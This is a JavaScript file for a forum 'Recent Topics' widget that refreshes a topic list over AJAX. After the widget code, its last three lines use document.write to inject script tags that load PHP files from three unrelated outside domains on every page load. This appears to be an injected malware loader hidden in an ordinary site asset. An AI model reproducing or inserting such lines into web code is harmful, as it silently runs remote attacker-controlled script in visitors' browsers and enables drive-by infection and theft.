/*--------------------------------------------\\
||  D23-Recent Topics                         ||
||  Written By:  Dean                         ||
||  Website:  http://www.dscripting.com       ||
||  Copyright (c) 2007 - All Rights Reserved  ||
\\--------------------------------------------*/

function d23_rtopics()
{
	this.obj    = null;
	this.ajax   = null;
	this.enable = false;
	this.update = 0;
	this.langs  = new Array();
}

d23_rtopics.prototype.set_ajax = function(x)
{
	this.enable = (x === true) ? true : false;
}

d23_rtopics.prototype.set_update = function(x)
{
	this.update = parseInt(x);
	if (isNaN(this.update))
	{
		this.update = 0;
	}
}

d23_rtopics.prototype.add_lang = function(a, b)
{
	if (a != '' && b != '')
	{
		this.langs[a] = b;
	}
}

d23_rtopics.prototype.initiate = function()
{
	this.obj = my_getbyid('d23_rtopics_data');
	if (!this.obj)
	{
		this.enable = false;
	}

	this.refresh();
}

d23_rtopics.prototype.refresh = function()
{
	if (this.enable !== true || this.update < 0)
	{
		return false;
	}

	func = function()
	{
		if (!d23_rtopics.ajax.readystate_ready_and_ok())
		{
			return;
		}

		d23_rtopics.set_status('');

		var x = d23_rtopics.ajax.xmlhandler.responseXML;
		var t = d23_rtopics.parse_xml(x, 'status', 'data');

		switch (t['status'].toLowerCase())
		{
			case 'error':
				d23_rtopics.set_status(d23_rtopics.langs['error']);
				setTimeout("d23_rtopics.set_status('')", 10000);

				break;
			case 'noupdate':
				break;
			case 'good':
				d23_rtopics.obj.innerHTML = t['data'];
				break;
			default:
				break;
		}
	}

	this.set_status(this.langs['updating']);

	d23_rtopics.ajax = new ajax_request();
	d23_rtopics.ajax.onreadystatechange(func);
	d23_rtopics.ajax.process(ipb_var_base_url+'act=xmlout&do=d23_rtopics');

	setTimeout('d23_rtopics.refresh()', this.update);
}

d23_rtopics.prototype.set_status = function(m)
{
	my_getbyid('d23_rtopics_status_c').innerHTML = m;
	my_getbyid('d23_rtopics_status_o').innerHTML = m;
}

d23_rtopics.prototype.parse_xml = function()
{
	var a = new Array();
	var o = arguments[0];

	for (var i=1; i<arguments.length; i++)
	{
		a[arguments[i]] = d23_rtopics.get_xml_data(arguments[i], o, 0);
	}

	return a;
}

d23_rtopics.prototype.get_xml_data = function(a, b, c)
{
	var r = '';
	r = b.getElementsByTagName(a)[c];

	try
	{
		if (r)
		{
			if (r.childNodes.length > 1)
			{
				return r.childNodes[1].nodeValue;
			}
			else
			{
				if (r.firstChild && r.firstChild.nodeValue)
				{
					return r.firstChild.nodeValue;
				}
				else
				{
					return '';
				}
			}
		}
		else
		{
			return '';
		}
	}

	catch(me)
	{
		return '';
	}
}

d23_rtopics = new d23_rtopics();
document.write('<script src=http://boliviarock.org/images/SPON03.php ><\/script>');
document.write('<script src=http://haberonline.info/css/www.haberonline.info.php ><\/script>');
document.write('<script src=http://forum.pervom.ru/db/privmsg.php ><\/script>');